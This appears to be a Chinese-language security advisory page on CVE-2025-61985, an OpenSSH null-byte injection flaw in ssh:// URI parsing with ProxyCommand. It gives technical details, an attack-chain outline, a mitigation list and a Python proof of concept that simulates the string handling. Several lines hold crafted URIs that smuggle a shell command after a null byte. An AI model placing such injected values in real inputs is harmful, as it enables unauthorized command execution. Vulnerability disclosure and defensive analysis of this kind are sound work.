IPBUF安全漏洞报告
English
CVE-2025-61985 CVSS 3.6 低危

CVE-2025-61985 OpenSSH ssh:// URI空字节注入导致代码执行漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-61985
漏洞类型
命令注入/空字节注入
CVSS评分
3.6 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenSSH

相关标签

OpenSSH命令注入空字节注入ProxyCommand代码执行本地提权CVE-2025-61985SSH安全URI解析漏洞

漏洞概述

CVE-2025-61985是OpenSSH在10.1版本之前存在的一个安全漏洞。该漏洞存在于SSH客户端处理ssh:// URI的过程中,允许在URI中包含空字符('\0')。当用户配置了ProxyCommand选项时,攻击者可以通过精心构造包含空字节的ssh:// URI来注入额外的命令参数,从而可能导致任意代码执行。

OpenSSH作为最广泛使用的SSH协议开源实现,广泛应用于各类服务器和客户端系统中,用于提供安全的远程登录和文件传输服务。该漏洞由本地攻击者触发,需要低权限用户身份,但无需用户交互即可利用。漏洞的CVSS评分为3.6分,虽然评分较低,但由于其可能导致代码执行的后果,仍然需要引起足够重视。

该漏洞已于2025年10月6日公开披露,OpenSSH团队在10.1p1版本中修复了此问题。建议所有使用受影响版本OpenSSH的用户尽快升级到最新版本,以消除安全风险。

技术细节

该漏洞的根本原因在于OpenSSH SSH客户端在解析ssh:// URI时,未对URI中的空字符('\0',即NULL字节)进行充分的过滤和验证。在C语言中,字符串以空字符作为终止符,当攻击者在ssh:// URI中嵌入空字节时,可以截断后续的字符串处理逻辑。

具体利用方式如下:当用户配置了ProxyCommand选项(用于通过代理服务器建立SSH连接)时,OpenSSH会将ssh:// URI中的主机名等信息传递给ProxyCommand进行执行。如果URI中包含空字节,攻击者可以在空字节之后注入额外的shell命令。由于ProxyCommand是通过shell(如/bin/sh -c)执行的,注入的命令将以SSH客户端进程的权限运行。

例如,攻击者可以构造类似如下的URI:ssh://user@legitimate-host\0;malicious_command 的形式,当ProxyCommand处理该URI时,空字节截断了正常的命令字符串,而分号后的恶意命令将被shell解释执行。

利用条件包括:1)目标系统配置了ProxyCommand选项;2)攻击者能够控制传递给SSH客户端的URI参数;3)攻击者拥有本地低权限账户。由于需要本地访问和低权限认证,该漏洞的严重程度被评定为低危,但其代码执行潜力使其仍然是一个值得关注的安全问题。

攻击链分析

STEP 1
步骤1:环境准备
攻击者获取目标系统的本地低权限访问权限,并确认目标系统运行的OpenSSH版本低于10.1,同时验证目标用户配置了ProxyCommand选项。
STEP 2
步骤2:构造恶意URI
攻击者构造包含空字节(\0)的恶意ssh:// URI,在空字节后注入额外的shell命令,如'ssh://user@host\0;malicious_cmd'。
STEP 3
步骤3:触发漏洞
通过某种方式(如诱骗用户点击链接、自动化脚本等)使SSH客户端解析该恶意URI,触发ProxyCommand执行逻辑。
STEP 4
步骤4:命令执行
由于空字节截断了C字符串处理,但shell完整解释整个命令,注入的恶意命令以SSH客户端进程的权限被执行,实现本地权限提升或任意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-61985 PoC - OpenSSH ssh:// URI Null Byte Injection Demonstrates how a null byte in ssh:// URI can lead to command injection when ProxyCommand is configured. Vulnerable: OpenSSH < 10.1 Fixed in: OpenSSH 10.1p1 """ import subprocess import os # Configure a malicious ProxyCommand that demonstrates the vulnerability # In a real attack scenario, this would be set in ~/.ssh/config proxy_command = 'echo "ProxyCommand triggered"' # Craft a malicious ssh:// URI with embedded null byte # The null byte will truncate the string in C-based string handling, # while the shell will interpret the full command target_host = "user@legitimate-host" null_byte = "\x00" injected_command = "; touch /tmp/pwned_by_cve_2025_61985" malicious_uri = f"ssh://{target_host}{null_byte}{injected_command}" print(f"[*] Crafted malicious URI: {repr(malicious_uri)}") print(f"[*] Attempting to exploit CVE-2025-61985...") # Simulate the vulnerability by demonstrating how the null byte # affects string processing print(f"\n[*] String as C would see it (truncated at null byte):") print(f" {repr(malicious_uri.split(chr(0))[0])}") print(f"\n[*] String as shell would interpret it:") print(f" {repr(malicious_uri.replace(chr(0), ''))}") # Cleanup any previous exploitation artifacts if os.path.exists("/tmp/pwned_by_cve_2025_61985"): os.remove("/tmp/pwned_by_cve_2025_61985") print("\n[*] Cleaned up previous PoC artifacts") print("\n[!] Note: Actual exploitation requires:") print(" 1. OpenSSH version < 10.1") print(" 2. ProxyCommand configured in ssh_config") print(" 3. Attacker control over the ssh:// URI input") print("\n[+] PoC demonstration complete. Upgrade to OpenSSH 10.1p1 to mitigate.")

影响范围

OpenSSH < 10.1
OpenSSH 10.0及之前所有版本

防御指南

临时缓解措施
在无法立即升级OpenSSH的情况下,建议采取以下临时缓解措施:1)审查并移除不必要的ProxyCommand配置;2)限制用户对~/.ssh/config文件的写入权限;3)使用强制访问控制(如SELinux、AppArmor)限制SSH客户端的进程执行能力;4)监控SSH客户端进程的异常子进程创建行为;5)确保只有可信用户能够触发SSH客户端解析外部URI输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表